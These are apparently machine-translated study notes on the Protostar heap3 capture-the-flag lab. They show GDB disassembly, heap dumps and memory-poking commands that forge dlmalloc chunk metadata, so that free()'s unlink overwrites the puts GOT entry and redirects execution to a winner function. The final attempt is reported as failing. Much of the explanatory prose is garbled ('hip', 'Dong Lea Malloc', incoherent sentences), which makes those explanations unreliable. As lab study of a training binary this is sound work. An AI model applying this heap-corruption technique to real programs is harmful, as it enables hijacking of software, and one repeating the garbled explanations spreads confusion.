Security_RNRF
0x24. 본문
24. The Heap: Once upon a free() - bin.0x17
: The previous "heap" development video was about application logic abuse.
: Originally, it was because the program used the wrong data in "heap". But this time, I try to abuse "heap".
: Exploiting oldschool dlmalloc unlink()
: Prerequisite
-> How a heap chunk looks like
-> Pointers and addresses
-> Debugging with GDB
-> Previous videos about the Heap(0x14~0x16)
: "unlink()" It's about macros.
: The video is based on "Once on a free().
: This level introduces how to modify "Dong Lea Malloc(dlmalloc)" and "heap" metadata.
: Change the execution of a program, and the goal is to call a “winner” function.
-> There is a problem with heap algorithm for heap meta data corruption.
-> For the "free()" function, it can be used to redirect the execution to "winner()"
: Let's take a look at the hip in "gdb". Add a few breakpoints.
-> gdb heap3
-> set disassembly-flavor intel
-> set pagination off
-> disassemble main
Dump of assembler code for function main:
0x08048889 <main+0>: push ebp
0x0804888a <main+1>: mov ebp,esp
0x0804888c <main+3>: and esp,0xfffffff0
0x0804888f <main+6>: sub esp,0x20
0x08048892 <main+9>: mov DWORD PTR [esp],0x20
0x08048899 <main+16>: call 0x8048ff2 <malloc>
0x0804889e <main+21>: mov DWORD PTR [esp+0x14],eax
0x080488a2 <main+25>: mov DWORD PTR [esp],0x20
0x080488a9 <main+32>: call 0x8048ff2 <malloc>
0x080488ae <main+37>: mov DWORD PTR [esp+0x18],eax
0x080488b2 <main+41>: mov DWORD PTR [esp],0x20
0x080488b9 <main+48>: call 0x8048ff2 <malloc>
0x080488be <main+53>: mov DWORD PTR [esp+0x1c],eax
0x080488c2 <main+57>: mov eax,DWORD PTR [ebp+0xc]
0x080488c5 <main+60>: add eax,0x4
0x080488c8 <main+63>: mov eax,DWORD PTR [eax]
0x080488ca <main+65>: mov DWORD PTR [esp+0x4],eax
0x080488ce <main+69>: mov eax,DWORD PTR [esp+0x14]
0x080488d2 <main+73>: mov DWORD PTR [esp],eax
0x080488d5 <main+76>: call 0x8048750 <strcpy@plt>
0x080488da <main+81>: mov eax,DWORD PTR [ebp+0xc]
0x080488dd <main+84>: add eax,0x8
0x080488e0 <main+87>: mov eax,DWORD PTR [eax]
0x080488e2 <main+89>: mov DWORD PTR [esp+0x4],eax
0x080488e6 <main+93>: mov eax,DWORD PTR [esp+0x18]
0x080488ea <main+97>: mov DWORD PTR [esp],eax
0x080488ed <main+100>: call 0x8048750 <strcpy@plt>
0x080488f2 <main+105>: mov eax,DWORD PTR [ebp+0xc]
0x080488f5 <main+108>: add eax,0xc
0x080488f8 <main+111>: mov eax,DWORD PTR [eax]
0x080488fa <main+113>: mov DWORD PTR [esp+0x4],eax
0x080488fe <main+117>: mov eax,DWORD PTR [esp+0x1c]
0x08048902 <main+121>: mov DWORD PTR [esp],eax
0x08048905 <main+124>: call 0x8048750 <strcpy@plt>
0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c]
0x0804890e <main+133>: mov DWORD PTR [esp],eax
0x08048911 <main+136>: call 0x8049824 <free>
0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>: mov DWORD PTR [esp],eax
0x0804891d <main+148>: call 0x8049824 <free>
0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>: mov DWORD PTR [esp],eax
0x08048929 <main+160>: call 0x8049824 <free>
0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27
0x08048935 <main+172>: call 0x8048790 <puts@plt>
0x0804893a <main+177>: leave
0x0804893b <main+178>: ret
End of assembler dump.
-> break *0x8048ff2 # malloc()
-> break *0x8048750 # strcpy()
-> break *0x8049824 # free()
-> break *0x8048790 # printf()
-> r AAAAAAAAAAAA BBBBBBBBBBBB CCCCCCCCCCCC
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAA BBBBBBBBBBBB CCCCCCCCCCCC
Breakpoint 1, malloc (bytes=32) at common/malloc.c:3211
3211 common/malloc.c: No such file or directory.
in common/malloc.c
-> c
Continuing.
Breakpoint 1, malloc (bytes=32) at common/malloc.c:3211
3211 in common/malloc.c
-> (Enter Key)
Continuing.
Breakpoint 1, malloc (bytes=32) at common/malloc.c:3211
3211 in common/malloc.c
-> (Enter Key)
Continuing.
Breakpoint 2, 0x08048750 in strcpy@plt ()
-> info proc mappings
process 5675
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap3
0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap3
0x804c000 0x804d000 0x1000 0 [heap]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
-> Find a memory for this process using a mapping and browse the heap.
-> The hook-stop is then defined to always output 56 words in this area.
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> define hook-stop
> x/56wx 0x804c000
> x/3i $eip
> end
-> r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 AAAAAAAAAAAA BBBBBBBBBBBB CCCCCCCCCCCC
0x804c000: Error while running hook_stop:
Cannot access memory at address 0x804c000
Breakpoint 1, malloc (bytes=32) at common/malloc.c:3211
3211 in common/malloc.c
-> c
Continuing.
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000fd9
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8048ff2 <malloc>: push ebp
0x8048ff3 <malloc+1>: mov ebp,esp
0x8048ff5 <malloc+3>: push edi
Breakpoint 1, malloc (bytes=32) at common/malloc.c:3211
3211 in common/malloc.c
-> There's still hip. After "malloc," you can see the first object in the heap.
-> That is now the size of a "chunk." The hexadecimal number is 29. (0x00000029)
-> The last bit indicates whether "PREVIOUS chunk" is in use. Indicates whether or not there is a valid memory before that.
-> Therefore, this means that the actual size of the "chunk" in the memory is hexadecimal 28.(0x00000028)
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000fb1 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8048ff2 <malloc>: push ebp
0x8048ff3 <malloc+1>: mov ebp,esp
0x8048ff5 <malloc+3>: push edi
Breakpoint 1, malloc (bytes=32) at common/malloc.c:3211
3211 in common/malloc.c
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8048750 <strcpy@plt>: jmp DWORD PTR ds:0x804b118
0x8048756 <strcpy@plt+6>: push 0x48
0x804875b <strcpy@plt+11>: jmp 0x80486b0
Breakpoint 2, 0x08048750 in strcpy@plt ()
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8048750 <strcpy@plt>: jmp DWORD PTR ds:0x804b118
0x8048756 <strcpy@plt+6>: push 0x48
0x804875b <strcpy@plt+11>: jmp 0x80486b0
Breakpoint 2, 0x08048750 in strcpy@plt ()
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8048750 <strcpy@plt>: jmp DWORD PTR ds:0x804b118
0x8048756 <strcpy@plt+6>: push 0x48
0x804875b <strcpy@plt+11>: jmp 0x80486b0
Breakpoint 2, 0x08048750 in strcpy@plt ()
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049824 <free>: push ebp
0x8049825 <free+1>: mov ebp,esp
0x8049827 <free+3>: sub esp,0x48
Breakpoint 3, free (mem=0x804c058) at common/malloc.c:3583
3583 in common/malloc.c
-> We can actually write more and completely overwrite everything.
-> Including the size of the chunks.
-> That is heap meta data.
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 # 0x00000000 = fd & 0x43434343 = bk
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049824 <free>: push ebp
0x8049825 <free+1>: mov ebp,esp
0x8049827 <free+3>: sub esp,0x48
Breakpoint 3, free (mem=0x804c030) at common/malloc.c:3583
3583 in common/malloc.c
-> In fact, these chunks are very small and are considered "fast storage" by "malloc”.(0x00000000)
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x00000000 # 0x0804c050 = fd: Point to another blank block.
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049824 <free>: push ebp
0x8049825 <free+1>: mov ebp,esp
0x8049827 <free+3>: sub esp,0x48
Breakpoint 3, free (mem=0x804c008) at common/malloc.c:3583
3583 in common/malloc.c
-> (Enter Key)
Continuing.
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 # 0x804c028 = 0x00000000: Point to another blank block.
0x804c030: 0x0804c050 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8048790 <puts@plt>: jmp DWORD PTR ds:0x804b128
0x8048796 <puts@plt+6>: push 0x68
0x804879b <puts@plt+11>: jmp 0x80486b0
Breakpoint 4, 0x08048790 in puts@plt ()
-> Now when I want to "malloc" and find free space simply all available "chunk" and former "chunk" are not relevant to the linked list for finding information that is not available.
: Let's think about what we're looking for.
-> Explicit for performing random writes
-> If so, you can overwrite the entries in the global offset table.
-> One way to be such a code?
-> Let's keep in mind when we see the code.
-> This function starts with the "mem" parameter, the address you want to disable. Later, "mem2chunk" is called to get an address two words ahead of "mem."
-> The actual starting address of "chunk," when we reach it, the first includes only slightly.
-> It says "fastbins" and this updates the first pointer, "fd," when we "free().
-> In other words, I want to make sure that the size is greater than the maximum value. 32 overflow the size of our "chunk" that is processed as a "chunk" size of us.
: This means that there is a first chance to deceive "free()" into thinking of other data here.
: Image 3~ interpretation.
-> The first parameter block in front of the current block is "p".
-> "prev_size" Get the front and rear pointers of the corresponding "chunk".
-> And the second word is remembered as "FD" and "BK."
-> The following is for simplicity, ignoring "->bk" and "->fd".
-> Here is an address followed by an offset. Now write address "BK" to address.
-> The important point here is that "BK" can be the address of "winner(). "FD+12" can be our "GOT."
-> Table entry for "puts(). It overwrites items from all over the world.
-> That is, offset table with "winner().
-> A code segment occurs.
-> You have to think about creative ways.
-> Think it can be used in the memory segment and segments of two addresses I'll see you.
-> Insert "A" into segment "B". And we address segment "B" to segment "A".
-> Since the offset table is writable, the code segment will be only one of those segments.
-> But "heap" can be a second time and it can be written.
-> This allows addresses to be written from the heap to the global offset table, with some of the non-critical addresses in the global offset table being written to the heap.
-> This means that code execution can be redirected to the shell code through the global offset table.
: Let's look at the current "heap" and think about how to organize the cases we just described.
-> To release the last block and could decide to check the "_ in use" bit.
-> These changes can be tested directly using "gdb".
-> Set the number of bits in use to 80 or higher and set the bit in use to 0.
-> set {int}0x804c050=100 # 0x64 = 100
-> set {int}0x804c050=0x10
-> set {int}0x804c044=0x11
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000011 0x00000000 0x00000000
0x804c050: 0x00000010 0x00000064 0x00000000 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> An address is now required to be placed in the global offset table. It will be a pointer in the future.
-> set {int}0x804c048=0x804b11c
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000011 0x0804b11c 0x00000000 # fd: 0x804b11c + 12 = puts@GOT & bk: 0x00000000
0x804c050: 0x00000010 0x00000064 0x00000000 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> set {int}0x804c04C=0x804c010
-> x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000011 0x0804b11c 0x0804c010 # 0x0804b11c = puts - 12
0x804c050: 0x00000010 0x00000064 0x00000000 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
-> Use size 100 and point to unused memory and check the value. If it doesn't work, it will crash somewhere.
-> In summary, we change the size of the blocks that we will be free to do. We make a fake.
-> To release the link and overwrite the "GOT", place the spare "chunk" in front of the current "chunk". And we make.
-> The second fake mass says there is a second fake mass before.
-> Therefore, it does not trigger other disconnects. And these two values are unnecessary.
-> x/1wx 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048796
-> set {int}0x804c048=0x804b11c
-> set {int}0x804c04C=0x804c010
-> set {int}0x804c044=0x11
-> set {int}0x804c050=0x10
-> set {int}0x804c054=100
-> set {int}0x804c0b8=0x10
-> set {int}0x804c0c8=0x11
-> set {int}0x804c0cc=0x804c080
-> set {int}0x804c0D0=0x804c090
-> c
Continuing.
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x0804b11c 0x00000000 # address from GOT
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000075 0x0804b194 0x0804b194
0x804c050: 0x00000010 0x00000064 0x43434343 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000074 0x00000010 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000011 0x0804c080
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049824 <free>: push ebp
0x8049825 <free+1>: mov ebp,esp
0x8049827 <free+3>: sub esp,0x48
Breakpoint 3, free (mem=0x804c030) at common/malloc.c:3583
3583 in common/malloc.c
-> si
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x0804b11c 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x00000000
0x804c040: 0x00000000 0x00000075 0x0804b194 0x0804b194
0x804c050: 0x00000010 0x00000064 0x43434343 0x43434343
0x804c060: 0x43434343 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000074 0x00000010 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000011 0x0804c080
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049825 <free+1>: mov ebp,esp
0x8049827 <free+3>: sub esp,0x48
0x804982a <free+6>: mov DWORD PTR [ebp-0x38],0x804b160
0x08049825 3583 in common/malloc.c
-> but, Fail.
-> "strcpy" can't copy you byte.
-> "read()"will work.